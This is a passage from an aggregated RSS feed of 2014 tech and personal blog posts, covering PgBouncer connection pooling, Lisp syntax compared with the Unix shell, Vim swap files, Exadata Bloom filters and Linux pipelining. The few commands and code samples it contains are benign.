&lt;li&gt;&lt;a href="http://pgfoundry.org/projects/pgbouncer"&gt;PG Bouncer&lt;/a&gt;&lt;/li&gt;
&lt;li&gt;&lt;a href="http://www.pgpool.net/mediawiki/index.php/Main_Page"&gt;PG Pool&lt;/a&gt;&lt;/li&gt;
&lt;/ol&gt;
&lt;h3 id="pg-bouncer"&gt;
&lt;div&gt;
PG Bouncer
&lt;/div&gt;
&lt;/h3&gt;
&lt;p&gt;My short and sweet recomendation is towards PG Bouncer. Contrary to how it&amp;rsquo;s named PG Pool is a multi purpose tool that does a lot of things (pooling, load balancing, replication, more). PG Bouncer takes the philosophy of doing one thing and doing it extremely well. I tend to favor these types of tools, which is the same reason I lean towards &lt;a href="https://github.com/wal-e/wal-e"&gt;WAL-E&lt;/a&gt; to help with Postgres replication.&lt;/p&gt;
&lt;h3 id="need-more"&gt;
&lt;div&gt;
Need more?
&lt;/div&gt;
&lt;/h3&gt;
&lt;p&gt;Need more guidance with setting up and running PGBouncer? Give this &lt;a href="http://datachomp.com/archives/getting-started-with-pgbouncer/"&gt;guide&lt;/a&gt; a look or try the &lt;a href="https://github.com/gregburek/heroku-buildpack-pgbouncer"&gt;pgbouncer buildpack&lt;/a&gt; if running on Heroku. If you&amp;rsquo;re still interested in a deeper guide let me know &lt;a href="http://www.twitter.com/craigkerstiens"&gt;@craigkerstiens&lt;/a&gt; and I&amp;rsquo;ll work on getting it into the queue.&lt;/p&gt;
&lt;p&gt;Finally, make sure to sign-up below to get updates on Postgres content and first access to training.&lt;/p&gt;
&lt;p&gt;&lt;em&gt;If you&amp;rsquo;re looking for a deeper resource on Postgres I recommend the book &lt;a href="https://theartofpostgresql.com/?affiliate=cek"&gt;The Art of PostgreSQL&lt;/a&gt;. It is by a personal friend that has aimed to create the definitive guide to Postgres, from a developer perspective. If you use code CRAIG15 you&amp;rsquo;ll receive 15% off as well.&lt;/em&gt;&lt;/p&gt;</description><author>CRAIG KERSTIENS</author><pubDate>Thu, 22 May 2014 23:55:56 GMT</pubDate><guid isPermaLink="true">/2014/05/22/Postgres-and-Connection-Pooling/</guid></item><item><title>2014-05-22/01</title><link>https://ho.dges.online/pictures/2014-05-22-01/</link><description/><author>ho.dges.online</author><pubDate>Thu, 22 May 2014 03:00:00 GMT</pubDate><guid isPermaLink="true">https://ho.dges.online/pictures/2014-05-22-01/</guid></item><item><title>2014-05-22/02</title><link>https://ho.dges.online/pictures/2014-05-22-02/</link><description/><author>ho.dges.online</author><pubDate>Thu, 22 May 2014 03:00:00 GMT</pubDate><guid isPermaLink="true">https://ho.dges.online/pictures/2014-05-22-02/</guid></item><item><title>The Best 404 Error Page Ever</title><link>http://vimeo.com/m/26858445</link><description>&lt;p&gt;More than two years ago, a company called Nosh got quite a bit of attention for their inventive approach to the generally unremarkable 404 error page: rather than the usual, bland description or even a poor attempt at humor, the folks over at Nosh made a video, and a fantastic one at that. I won&amp;#8217;t spoil it for you here, but I will say this: this video stands the test of time in a way that few other things from even two years ago do; it&amp;#8217;s just as cool now as it was then.&lt;/p&gt;


                &lt;p&gt;&lt;a href="http://vimeo.com/m/26858445"&gt;Permalink.&lt;/a&gt;&lt;/p&gt;</description><author>Zac Szewczyk</author><pubDate>Wed, 21 May 2014 22:49:11 GMT</pubDate><guid isPermaLink="true">http://vimeo.com/m/26858445</guid></item><item><title>Single vs Many Programming Languages</title><link>https://honza.pokorny.ca/2014/05/single-vs-many-programming-languages/</link><description>&lt;p&gt;Junior programmers will often ask, &amp;ldquo;Which language should I use?&amp;rdquo;, &amp;ldquo;Which
programming language is the best?&amp;rdquo;, and when they discover this new hip
programming language that&amp;rsquo;s meant to solve all of their scaling problems, they
get in your face and mock you for not using it for every single task.  They
will write blog posts titled &amp;ldquo;X language for Y programmers&amp;rdquo; in hopes of
converting the masses to their newfound toy.&lt;/p&gt;
&lt;p&gt;Smug senior programmers will laugh at the junior programmers and say that you
should learn a great many different languages to expand your horizons.  A
single language cannot possibly suffice in this day and age.  Each language has
its own set of libraries, each is better suited for a particular task.
Learning new languages will make you a better developer overall.  Plus,
marketing yourself as an X language developer limits your choice of employer.&lt;/p&gt;
&lt;p&gt;Business people will have yet another approach.  Their product is obviously
written in some language or another so they &lt;em&gt;need&lt;/em&gt; developer who can speak that
language.  Their platform is growing like crazy so they put up job posts
screaming &amp;ldquo;X language developer needed!&amp;rdquo;.  This creates a perceived demand for
a certain kind of developer.  Developer will start to feel the need to learn
this newly popular technology and start by reading a &amp;ldquo;X language for Y
programmers&amp;rdquo; post and thus completing the circle.&lt;/p&gt;</description><author>Honza Pokorný</author><pubDate>Wed, 21 May 2014 21:56:00 GMT</pubDate><guid isPermaLink="true">https://honza.pokorny.ca/2014/05/single-vs-many-programming-languages/</guid></item><item><title>Fuck You Money</title><link>http://vintagezen.com/zen/2014/5/9/fuck-you-money</link><description>&lt;p&gt;For better or worse&amp;#160;&amp;#8212;&amp;#160;better in my opinion, but clearly worse if you looked at my bank statement&amp;#160;&amp;#8212;&amp;#160;money has always been nothing more than the means to an end for me, and not a goal in and of itself. I want to have a good job where I can work hard and receive appropriate compensation after a job well done, but outside of a safety net should said job fall through, a costly, once in a lifetime opportunity arise, or an unexpected bill arrive in the mail, I have no interest in padding my checking and savings accounts. I never want to be the one that tells my girlfriend we can&amp;#8217;t have a nice dinner and go to a movie because it&amp;#8217;s too expensive, especially when I have a $50 bill in my pocket. I will admit that this is by no means a great approach to managing my finances, and in the long run very likely an unsustainable one, but I will regret missing that nice evening much more than I will ever regret spending a portion of that $50; I want to spend my evenings holding my girlfriend&amp;#8217;s hand, not a wrinkled bill.&lt;/p&gt;


                &lt;p&gt;&lt;a href="http://vintagezen.com/zen/2014/5/9/fuck-you-money"&gt;Permalink.&lt;/a&gt;&lt;/p&gt;</description><author>Zac Szewczyk</author><pubDate>Tue, 20 May 2014 22:57:52 GMT</pubDate><guid isPermaLink="true">http://vintagezen.com/zen/2014/5/9/fuck-you-money</guid></item><item><title>Building a Quick Reverse Proxy</title><link>https://joshuarogers.net/articles/2014-05/building-quick-reverse-proxy/</link><description>Our universe is comprised of a seemingly infinite number of rules ranging from little tidbits like magnetism and inertia, to the unchangable truths of buyer's remorse and Steam downtime occurring on a weekend. Still, there is another rule that seems to be more faithful than gravity itself: given &amp;lsquo;n&amp;rsquo; public facing IP addresses, you will receive &amp;lsquo;n+1&amp;rsquo; requests for their allocation. Six IPs? I'll see your six IPs and raise you seven servers.</description><author>Joshua Rogers</author><pubDate>Tue, 20 May 2014 15:00:00 GMT</pubDate><guid isPermaLink="true">https://joshuarogers.net/articles/2014-05/building-quick-reverse-proxy/</guid></item><item><title>You already use Lisp syntax</title><link>http://blog.danieljanus.pl/you-already-use-lisp-syntax/</link><description>&lt;div&gt;&lt;p&gt;&lt;strong&gt;Unix Developer:&lt;/strong&gt; I’m not going to touch Lisp. It’s horrible!&lt;/p&gt;&lt;p&gt;&lt;strong&gt;Me:&lt;/strong&gt; Why so?&lt;/p&gt;&lt;p&gt;&lt;strong&gt;UD:&lt;/strong&gt; The syntax! This illegible prefix-RPN syntax that nobody else uses. And just look at all these parens!&lt;/p&gt;&lt;p&gt;&lt;strong&gt;Me:&lt;/strong&gt; Well, many people find it perfectly legible, although most agree that it takes some time to get accustomed to. But I think you’re mistaken. Lots of people are using Lisp syntax on a daily basis…&lt;/p&gt;&lt;p&gt;&lt;strong&gt;UD:&lt;/strong&gt; I happen to know no one doing this.&lt;/p&gt;&lt;p&gt;&lt;strong&gt;Me:&lt;/strong&gt; …without actually realizing this. In fact, I think &lt;em&gt;you&lt;/em&gt; yourself are using it.&lt;/p&gt;&lt;p&gt;&lt;strong&gt;UD:&lt;/strong&gt; Wait, &lt;em&gt;what&lt;/em&gt;?!&lt;/p&gt;&lt;p&gt;&lt;strong&gt;Me:&lt;/strong&gt; And the particular variant of Lisp syntax you’re using is called Bourne shell.&lt;/p&gt;&lt;p&gt;&lt;strong&gt;UD:&lt;/strong&gt; Now I don’t understand. What on earth does the shell have to do with Lisp?&lt;/p&gt;&lt;p&gt;&lt;strong&gt;Me:&lt;/strong&gt; Just look: in the shell, you put the name of the program first, followed by the arguments, separated by spaces. In Lisp it’s exactly the same, except that you put an opening paren at the beginning and a closing paren at the end.&lt;/p&gt;&lt;p&gt;Shell: &lt;code&gt;run-something arg1 arg2 arg3&lt;/code&gt;&lt;/p&gt;&lt;p&gt;Lisp: &lt;code&gt;(run-something arg1 arg2 arg3)&lt;/code&gt;&lt;/p&gt;&lt;p&gt;&lt;strong&gt;UD:&lt;/strong&gt; I still don’t get the analogy.&lt;/p&gt;&lt;p&gt;&lt;strong&gt;Me:&lt;/strong&gt; Then you need a mechanism for expression composition — putting the output of one expression as an input to another. In Lisp, you just nest the lists. And in the shell?&lt;/p&gt;&lt;p&gt;&lt;strong&gt;UD:&lt;/strong&gt; Backticks.&lt;/p&gt;&lt;p&gt;&lt;strong&gt;Me:&lt;/strong&gt; That’s right. Or &lt;code&gt;$()&lt;/code&gt;, which has the advantage of being more easily nestable. Let’s try arithmetic. How do you do arithmetic in the shell?&lt;/p&gt;&lt;p&gt;&lt;strong&gt;UD:&lt;/strong&gt; &lt;code&gt;expr&lt;/code&gt;. Or the Bash builtin &lt;code&gt;let&lt;/code&gt;. For example,&lt;/p&gt;&lt;pre&gt;&lt;code class="hljs bash"&gt;$ &lt;span class="hljs-built_in"&gt;let&lt;/span&gt; x=&lt;span class="hljs-string"&gt;&amp;#x27;2*((10+4)/7)&amp;#x27;&lt;/span&gt;; &lt;span class="hljs-built_in"&gt;echo&lt;/span&gt; &lt;span class="hljs-variable"&gt;$x&lt;/span&gt;
4
&lt;/code&gt;&lt;/pre&gt;&lt;p&gt;&lt;strong&gt;Me:&lt;/strong&gt; Now wouldn’t it be in line with the spirit of Unix — to have programs do just one thing — if we had one program to do addition, and another to do subtraction, and yet another to do multiplication and division?&lt;/p&gt;&lt;p&gt;It’s trivial to write it in C:&lt;/p&gt;&lt;pre&gt;&lt;code class="hljs c"&gt;&lt;span class="hljs-meta"&gt;#&lt;span class="hljs-keyword"&gt;include&lt;/span&gt; &lt;span class="hljs-string"&gt;&amp;lt;stdio.h&amp;gt;&lt;/span&gt;&lt;/span&gt;
&lt;span class="hljs-meta"&gt;#&lt;span class="hljs-keyword"&gt;include&lt;/span&gt; &lt;span class="hljs-string"&gt;&amp;lt;stdlib.h&amp;gt;&lt;/span&gt;&lt;/span&gt;
&lt;span class="hljs-meta"&gt;#&lt;span class="hljs-keyword"&gt;include&lt;/span&gt; &lt;span class="hljs-string"&gt;&amp;lt;string.h&amp;gt;&lt;/span&gt;&lt;/span&gt;

&lt;span class="hljs-type"&gt;int&lt;/span&gt; &lt;span class="hljs-title function_"&gt;main&lt;/span&gt;&lt;span class="hljs-params"&gt;(&lt;span class="hljs-type"&gt;int&lt;/span&gt; argc, &lt;span class="hljs-type"&gt;char&lt;/span&gt; **argv)&lt;/span&gt; {
  &lt;span class="hljs-type"&gt;int&lt;/span&gt; mode = &lt;span class="hljs-number"&gt;-1&lt;/span&gt;, cnt = argc - &lt;span class="hljs-number"&gt;1&lt;/span&gt;, val, i;
  &lt;span class="hljs-type"&gt;char&lt;/span&gt; **args = argv + &lt;span class="hljs-number"&gt;1&lt;/span&gt;;
  &lt;span class="hljs-keyword"&gt;switch&lt;/span&gt; (argv[&lt;span class="hljs-number"&gt;0&lt;/span&gt;][&lt;span class="hljs-built_in"&gt;strlen&lt;/span&gt;(argv[&lt;span class="hljs-number"&gt;0&lt;/span&gt;]) - &lt;span class="hljs-number"&gt;1&lt;/span&gt;]) {
    &lt;span class="hljs-keyword"&gt;case&lt;/span&gt; &lt;span class="hljs-string"&gt;&amp;#x27;+&amp;#x27;&lt;/span&gt;: mode = &lt;span class="hljs-number"&gt;0&lt;/span&gt;; &lt;span class="hljs-keyword"&gt;break&lt;/span&gt;;
    &lt;span class="hljs-keyword"&gt;case&lt;/span&gt; &lt;span class="hljs-string"&gt;&amp;#x27;-&amp;#x27;&lt;/span&gt;: mode = &lt;span class="hljs-number"&gt;1&lt;/span&gt;; &lt;span class="hljs-keyword"&gt;break&lt;/span&gt;;
    &lt;span class="hljs-keyword"&gt;case&lt;/span&gt; &lt;span class="hljs-string"&gt;&amp;#x27;x&amp;#x27;&lt;/span&gt;: mode = &lt;span class="hljs-number"&gt;2&lt;/span&gt;; &lt;span class="hljs-keyword"&gt;break&lt;/span&gt;;
    &lt;span class="hljs-keyword"&gt;case&lt;/span&gt; &lt;span class="hljs-string"&gt;&amp;#x27;d&amp;#x27;&lt;/span&gt;: mode = &lt;span class="hljs-number"&gt;3&lt;/span&gt;; &lt;span class="hljs-keyword"&gt;break&lt;/span&gt;;
  }
  &lt;span class="hljs-keyword"&gt;if&lt;/span&gt; (mode == &lt;span class="hljs-number"&gt;-1&lt;/span&gt;) {
    &lt;span class="hljs-built_in"&gt;fprintf&lt;/span&gt;(&lt;span class="hljs-built_in"&gt;stderr&lt;/span&gt;, &lt;span class="hljs-string"&gt;&amp;quot;invalid math operation\n&amp;quot;&lt;/span&gt;);
    &lt;span class="hljs-keyword"&gt;return&lt;/span&gt; &lt;span class="hljs-number"&gt;1&lt;/span&gt;;
  }
  &lt;span class="hljs-keyword"&gt;if&lt;/span&gt; ((mode == &lt;span class="hljs-number"&gt;1&lt;/span&gt; || mode == &lt;span class="hljs-number"&gt;3&lt;/span&gt;) &amp;amp;&amp;amp; !cnt) {
    &lt;span class="hljs-built_in"&gt;fprintf&lt;/span&gt;(&lt;span class="hljs-built_in"&gt;stderr&lt;/span&gt;, &lt;span class="hljs-string"&gt;&amp;quot;%s requires at least one arg\n&amp;quot;&lt;/span&gt;, argv[&lt;span class="hljs-number"&gt;0&lt;/span&gt;]);
    &lt;span class="hljs-keyword"&gt;return&lt;/span&gt; &lt;span class="hljs-number"&gt;1&lt;/span&gt;;
  }
  &lt;span class="hljs-keyword"&gt;switch&lt;/span&gt; (mode) {
    &lt;span class="hljs-keyword"&gt;case&lt;/span&gt; &lt;span class="hljs-number"&gt;0&lt;/span&gt;: val = &lt;span class="hljs-number"&gt;0&lt;/span&gt;; &lt;span class="hljs-keyword"&gt;break&lt;/span&gt;;
    &lt;span class="hljs-keyword"&gt;case&lt;/span&gt; &lt;span class="hljs-number"&gt;2&lt;/span&gt;: val = &lt;span class="hljs-number"&gt;1&lt;/span&gt;; &lt;span class="hljs-keyword"&gt;break&lt;/span&gt;;
    &lt;span class="hljs-keyword"&gt;default&lt;/span&gt;: val = atoi(*args++); cnt--; &lt;span class="hljs-keyword"&gt;break&lt;/span&gt;;
  }
  &lt;span class="hljs-keyword"&gt;while&lt;/span&gt; (cnt--) {
    &lt;span class="hljs-keyword"&gt;switch&lt;/span&gt; (mode) {
      &lt;span class="hljs-keyword"&gt;case&lt;/span&gt; &lt;span class="hljs-number"&gt;0&lt;/span&gt;: val += atoi(*args++); &lt;span class="hljs-keyword"&gt;break&lt;/span&gt;;
      &lt;span class="hljs-keyword"&gt;case&lt;/span&gt; &lt;span class="hljs-number"&gt;1&lt;/span&gt;: val -= atoi(*args++); &lt;span class="hljs-keyword"&gt;break&lt;/span&gt;;
      &lt;span class="hljs-keyword"&gt;case&lt;/span&gt; &lt;span class="hljs-number"&gt;2&lt;/span&gt;: val *= atoi(*args++); &lt;span class="hljs-keyword"&gt;break&lt;/span&gt;;
      &lt;span class="hljs-keyword"&gt;case&lt;/span&gt; &lt;span class="hljs-number"&gt;3&lt;/span&gt;: val /= atoi(*args++); &lt;span class="hljs-keyword"&gt;break&lt;/span&gt;;
    }
  }
  &lt;span class="hljs-built_in"&gt;printf&lt;/span&gt;(&lt;span class="hljs-string"&gt;&amp;quot;%d\n&amp;quot;&lt;/span&gt;, val);
  &lt;span class="hljs-keyword"&gt;return&lt;/span&gt; &lt;span class="hljs-number"&gt;0&lt;/span&gt;;
}
&lt;/code&gt;&lt;/pre&gt;&lt;p&gt;This dispatches on the last character of its name, so it can be symlinked to &lt;code&gt;+&lt;/code&gt;, &lt;code&gt;-&lt;/code&gt;, &lt;code&gt;x&lt;/code&gt; and &lt;code&gt;d&lt;/code&gt; (I picked unusual names for multiplication and division to make them legal and avoid escaping).&lt;/p&gt;&lt;p&gt;Now behold:&lt;/p&gt;&lt;pre&gt;&lt;code class="hljs bash"&gt;$ x 2 $(d $(+ 10 4) 7)
4
&lt;/code&gt;&lt;/pre&gt;&lt;p&gt;&lt;strong&gt;UD:&lt;/strong&gt; Wow, this sure looks a lot like Lisp!&lt;/p&gt;&lt;p&gt;&lt;strong&gt;Me:&lt;/strong&gt; And yet it’s the shell. Our two basic rules — program-name-first and &lt;code&gt;$()&lt;/code&gt;-for-composition — allowed us to explicitly specify the order of evaluation, so there was no need to do any fancy parsing beyond what the shell already provides.&lt;/p&gt;&lt;p&gt;&lt;strong&gt;UD:&lt;/strong&gt; So is the shell a Lisp?&lt;/p&gt;&lt;p&gt;&lt;strong&gt;Me:&lt;/strong&gt; Not really. The shell is &lt;a href="http://blog.codinghorror.com/new-programming-jargon/"&gt;stringly typed&lt;/a&gt;: a program takes textual parameters and produces textual output. To qualify as a Lisp, it would have to have a composite type: a list or a cons cell to build lists on top of. Then, you’d be able to represent code as this data structure, and write programs to transform code to other code.&lt;/p&gt;&lt;p&gt;But the Tao of Lisp lingers in the shell syntax.&lt;/p&gt;&lt;hr /&gt;
&lt;p&gt;I know I’ve glossed over many details here, like the shell syntax for redirection, globbing, subprocesses, the fact that programs have standard input in addition to command-line arguments, pipes, etc. — all these make the analogy rather weak. But I think it’s an interesting way to teach Lisp syntax to people.&lt;/p&gt;&lt;/div&gt;</description><author>code · words · emotions: Daniel Janus’s blog</author><pubDate>Tue, 20 May 2014 03:00:00 GMT</pubDate><guid isPermaLink="true">http://blog.danieljanus.pl/you-already-use-lisp-syntax/</guid></item><item><title>Podcasting's Blogger Moment</title><link>https://zacs.site/blog/podcastings-blogger-moment.html</link><description>&lt;p&gt;Over the past week especially, there has been a fair bit of discussion devoted to podcasting&amp;#8217;s so-called &amp;#8220;Blogger moment&amp;#8221;. In particular, John Gruber and Mike Monteiro discussed this on &lt;a href="http://muleradio.net/thetalkshow/80/"&gt;the latest episode of The Talk Show&lt;/a&gt;, and Myke Hurley and Casey Liss spent some time talking about it on &lt;a href="http://5by5.tv/cmdspace/96"&gt;CMD+SPACE 96: Not Many Original Thoughts, with Casey Liss&lt;/a&gt; as well. In a nutshell, the idea is that just as Blogger brought blogging to the masses in the early 2000s and consequently caused the medium to explode in popularity, so too will podcasting have a similar moment whereby it breaks through the nerd barrier and goes mainstream. Interestingly, many at the forefront of the podcast medium believe that time to be now. For what reasons they believe this, however, I cannot say.&lt;/p&gt;
                &lt;p&gt;&lt;a href="https://zacs.site/blog/podcastings-blogger-moment.html"&gt;Permalink.&lt;/a&gt;&lt;/p&gt;</description><author>Zac Szewczyk</author><pubDate>Mon, 19 May 2014 19:54:49 GMT</pubDate><guid isPermaLink="true">https://zacs.site/blog/podcastings-blogger-moment.html</guid></item><item><title>How to Drink All Night But Never Get Drunk</title><link>http://www.esquire.com/blogs/food-for-men/how-not-to-get-drunk</link><description>&lt;p&gt;At the intersection of science and fun-filled Friday nights you find neat tricks rooted in the former and potentially immensely helpful in the latter, such as this one. I still have a couple of years until I have to worry about this, but I might as well get ready now.&lt;/p&gt;


                &lt;p&gt;&lt;a href="http://www.esquire.com/blogs/food-for-men/how-not-to-get-drunk"&gt;Permalink.&lt;/a&gt;&lt;/p&gt;</description><author>Zac Szewczyk</author><pubDate>Mon, 19 May 2014 11:35:59 GMT</pubDate><guid isPermaLink="true">http://www.esquire.com/blogs/food-for-men/how-not-to-get-drunk</guid></item><item><title>Move Vim .swp files</title><link>https://www.mattcrampton.com/blog/move_vim_swp_files/</link><description>Moving VIM .swp Files Vim has this annoying habit of creating .swp files in your current working directory when you're editing a file. I found a better way (inspired by this stackoverflow thread). To change this, create three new folders to house all your .swp files... mkdir -p ~/.vim/{backup_files,swap_files,undo_files} Then add the following lines to your .vimrc file… set backupdir=~/.vim/backup_files// set directory=~/.vim/swap_files// set undodir=~/.vim/undo_files// See the docs for more info. Using double trailing slashes in the path tells vim to enable a feature where it avoids name collisions. For example, if you edit a file in one location and another file in another location and both files have the same name, you don't want a name collision to occur in ~/.vim/swap_files/. If you specify ~/.vim/swap_files// with two trailing slashes vim will create swap files using the whole path of the files being edited to avoid collisions (slashes in the file's path will be replaced by pe...</description><author>MattCrampton.com</author><pubDate>Mon, 19 May 2014 08:00:00 GMT</pubDate><guid isPermaLink="true">https://www.mattcrampton.com/blog/move_vim_swp_files/</guid></item><item><title>The latency of Ceph placement group splitting</title><link>https://makedist.com/posts/2014/05/19/the-latency-of-ceph-placement-group-splitting/</link><description>How fast can Ceph split up and redistribute a collection of objects?</description><author>Noah Watkins</author><pubDate>Mon, 19 May 2014 03:00:00 GMT</pubDate><guid isPermaLink="true">https://makedist.com/posts/2014/05/19/the-latency-of-ceph-placement-group-splitting/</guid></item><item><title>Look Up</title><link>http://youtu.be/Z7dLU6fk9QY</link><description>&lt;p&gt;Incredible video by Gary Turk teaching the value of living life outside of the narrow world within our smartphones, tablets, and laptops. Take a few minutes to watch this; I do not feel out of place saying that it just might change your life. Truly remarkable work.&lt;/p&gt;


                &lt;p&gt;&lt;a href="http://youtu.be/Z7dLU6fk9QY"&gt;Permalink.&lt;/a&gt;&lt;/p&gt;</description><author>Zac Szewczyk</author><pubDate>Sun, 18 May 2014 14:43:45 GMT</pubDate><guid isPermaLink="true">http://youtu.be/Z7dLU6fk9QY</guid></item><item><title>This Week in Podcasts</title><link>https://zacs.site/blog/this-week-in-podcasts-51214.html</link><description>&lt;p&gt;Relative to &lt;a href="https://zacs.site/blog/this-week-in-podcasts-5514.html"&gt;last week&amp;#8217;s&lt;/a&gt;, and compared to &lt;a href="https://zacs.site/blog/this-week-in-podcasts-42814.html"&gt;the week prior&amp;#8217;s&lt;/a&gt;, another relatively short list this time around, unfortunately. But, as I have said before, volume and quality are rarely linked: I will never pad these out with shows of dubious value just to reach an arbitrary length. This is a curated list of the best podcasts I discovered within the last week, and so it will forever remain.&lt;/p&gt;
                &lt;p&gt;&lt;a href="https://zacs.site/blog/this-week-in-podcasts-51214.html"&gt;Permalink.&lt;/a&gt;&lt;/p&gt;</description><author>Zac Szewczyk</author><pubDate>Sun, 18 May 2014 12:37:06 GMT</pubDate><guid isPermaLink="true">https://zacs.site/blog/this-week-in-podcasts-51214.html</guid></item><item><title>Combining Bloom Filter Offloading and Storage Indexes on Exadata</title><link>https://tanelpoder.com/2014/05/17/combining-bloom-filter-offloading-and-storage-indexes-on-exadata/</link><description>&lt;p&gt;Here’s a little known feature of Exadata – you can use a &lt;a href="http://antognini.ch/papers/BloomFilters20080620.pdf" target="_blank"&gt;Bloom filter&lt;/a&gt; computed from a join column of a table to &lt;em&gt;skip&lt;/em&gt; disk I/Os against &lt;strong&gt;&lt;em&gt;another&lt;/em&gt;&lt;/strong&gt; table it is joined to. This not the same as the Bloom filtering of the datablock contents in Exadata storage cells, but rather avoiding reading in some storage regions from the disks completely.&lt;/p&gt;
&lt;p&gt;So, you can use storage indexes to skip I/Os against your large fact table, based on a bloom filter calculated from a small dimension table!&lt;/p&gt;
&lt;p&gt;This is useful especially for dimensional star schemas, as your SQL statements might not have direct predicates on your large fact tables at all, all results will be determined by looking up relevant dimension records and then performing a hash join to the fact table (whether you &lt;em&gt;should&lt;/em&gt; have some direct predicates against the fact tables, for performance reasons, is a separate topic for some other day :-)&lt;/p&gt;
&lt;p&gt;Let me show an example using the &lt;a href="http://dominicgiles.com/swingbench.html" target="_blank"&gt;SwingBench&lt;/a&gt; Order Entry schema. The first output is from Oracle 11.2.0.3 BP21 on Cellsrv 12.1.1.1.0:&lt;/p&gt;</description><author>Tanel Poder Blog</author><pubDate>Sun, 18 May 2014 07:15:18 GMT</pubDate><guid isPermaLink="true">https://tanelpoder.com/2014/05/17/combining-bloom-filter-offloading-and-storage-indexes-on-exadata/</guid></item><item><title>100 silly facts about ME</title><link>https://jasoneckert.github.io/myblog/100-facts-about-me/</link><description>&lt;p&gt;&lt;img alt="Office" src="office.jpg#center" title="Office" /&gt;&lt;/p&gt;
&lt;p&gt;Although I don’t watch television, I’ve been watching the episodes of The Goldbergs online because it’s absolutely hilarious and I relate to a lot of the stuff in it from my own childhood experiences.  The final episode of season 1 was this week, and it starts off by talking about how the father never bragged about past events (no matter how cool), and would occasionally say something that totally made you think you knew nothing about him ;-)&lt;/p&gt;</description><author>Jason Eckert's Website and Blog</author><pubDate>Sun, 18 May 2014 03:00:00 GMT</pubDate><guid isPermaLink="true">https://jasoneckert.github.io/myblog/100-facts-about-me/</guid></item><item><title>Practical Linux Pipelining</title><link>https://blog.tjll.net/practical-linux-pipelining/</link><description>&lt;p&gt;
There are many subtle joys associated with working almost exclusively in the command line all day: tab completion, a simple interface, and &lt;a href="https://en.wikipedia.org/wiki/Pipeline_%28Unix%29"&gt;unix pipes&lt;/a&gt;.
&lt;/p&gt;

&lt;hr /&gt;

&lt;p&gt;
Like general command-line mastery, learning how to wrest unix pipes to your best advantage can translate into a wide variety of benefits. Don't get me wrong, when you need a scripting language, use a fully fledged scripting language &amp;ndash; bash isn't going to juggle diverse data types and complex logic as gracefully as python or ruby. But when you need to briefly bridge the gap between repetitiveness and automation, shells and pipes can make life a lot better.
&lt;/p&gt;

&lt;p&gt;
Unix (POSIX?) executables tend to follow a beautifully simple mantra:
&lt;/p&gt;

&lt;ul class="org-ul"&gt;
&lt;li&gt;Do one thing, and do it well&lt;/li&gt;
&lt;li&gt;Accept simple, ASCII input&lt;/li&gt;
&lt;li&gt;Produce readable, ASCII output&lt;/li&gt;
&lt;/ul&gt;

&lt;p&gt;
This simplicity means that those same executables make exceptionally good building blocks. I hope that I can offer some helpful advice in learning how to use pipes for a more supercharged *nix experience.
&lt;/p&gt;
&lt;div class="outline-4" id="outline-container-a-pipe-primer"&gt;
&lt;h4 id="a-pipe-primer"&gt;A Pipe Primer&lt;/h4&gt;
&lt;div class="outline-text-4" id="text-org37dd8d9"&gt;
&lt;p&gt;
To review, let's watch a command pipe output to another command:
&lt;/p&gt;

&lt;span class="org-src-tab"&gt;&lt;span&gt;shell&lt;/span&gt;&lt;/span&gt;&lt;div class="org-src-container"&gt;
&lt;pre class="src src-shell"&gt;&lt;code&gt;&lt;code&gt;&lt;span class="org-builtin"&gt;echo&lt;/span&gt; &lt;span class="org-string"&gt;"Hello, world"&lt;/span&gt; | sed &lt;span class="org-string"&gt;'s/world/dolly/'&lt;/span&gt;&lt;/code&gt;
&lt;/code&gt;&lt;/pre&gt;
&lt;/div&gt;

&lt;pre class="example"&gt;
Hello, dolly
&lt;/pre&gt;

&lt;p&gt;
What happened?
&lt;/p&gt;

&lt;ul class="org-ul"&gt;
&lt;li&gt;The echo command begins the pipeline. We pass it the argument &lt;code&gt;Hello world&lt;/code&gt; which it simply prints to stdout.&lt;/li&gt;
&lt;li&gt;stdout is redirected to the stdin of sed. In the absence of a filename argument, sed operates upon the incoming stdin and returns the results to standard output (finding and replacing a string).&lt;/li&gt;
&lt;/ul&gt;

&lt;p&gt;
Pretty simple. But as long as that's clear, we can build very useful pipes for a variety of purposes.
&lt;/p&gt;

&lt;p&gt;
A few things to keep in mind before moving forward:
&lt;/p&gt;

&lt;ul class="org-ul"&gt;
&lt;li&gt;Standard input is not the same as an argument. This is explored a little bit more later on.&lt;/li&gt;
&lt;li&gt;Many executables will automatically detect that you're passing input over standard input, but others will require an explicit flag or argument to indicate that input should be accepted over standard in (for example, &lt;code&gt;-&lt;/code&gt; as an argument often indicates that standard in should be looked at.)&lt;/li&gt;
&lt;li&gt;If you're ever experimenting with piping and find that some input just 'disappears', bear in mind that standard error and standard output are different things. (technically, standard output is file descriptor &lt;code&gt;1&lt;/code&gt; and standard error is file descriptor &lt;code&gt;2&lt;/code&gt;, so you can always merge them both into stdout with something like &lt;code&gt;2&amp;gt;&amp;amp;1&lt;/code&gt;)&lt;/li&gt;
&lt;/ul&gt;

&lt;p&gt;
I'm going to illustrate some more ideas with a couple of examples in order to solidify some concepts before getting into more nuanced pipe usage.
&lt;/p&gt;
&lt;/div&gt;
&lt;/div&gt;
&lt;div class="outline-4" id="outline-container-exercises"&gt;
&lt;h4 id="exercises"&gt;Exercises&lt;/h4&gt;
&lt;div class="outline-text-4" id="text-exercises"&gt;
&lt;/div&gt;
&lt;div class="outline-5" id="outline-container-the-exploding-mysql-server"&gt;
&lt;h5 id="the-exploding-mysql-server"&gt;The Exploding MySQL Server&lt;/h5&gt;
&lt;div class="outline-text-5" id="text-org2bd30fe"&gt;
&lt;p&gt;
Your MySQL server is dying. You're getting "connection refused" errors, but &lt;code&gt;service mysqld status&lt;/code&gt; says everything is good, and server load is high, but not crippling. Where to go from here?
&lt;/p&gt;

&lt;p&gt;
Given that it's a connection &lt;i&gt;problem&lt;/i&gt;, why not look at the connections themselves?
&lt;/p&gt;

&lt;p&gt;
&lt;code&gt;netstat&lt;/code&gt; is a very useful command to gather low-level TCP/IP information about a *nix server. Typically I use it to ensure that daemons that are supposed to be listening on a port &lt;i&gt;are&lt;/i&gt; indeed listening on a port with the &lt;code&gt;-l&lt;/code&gt; switch (print listening ports.) But netstat can also list connections and the state of those connections. For example, here's a snapshot of nginx servicing requests to this blog:
&lt;/p&gt;

&lt;span class="org-src-tab"&gt;&lt;span&gt;shell&lt;/span&gt;&lt;/span&gt;&lt;div class="org-src-container"&gt;
&lt;pre class="src src-shell"&gt;&lt;code&gt;&lt;code&gt;sudo netstat -pnt | grep nginx&lt;/code&gt;
&lt;/code&gt;&lt;/pre&gt;
&lt;/div&gt;

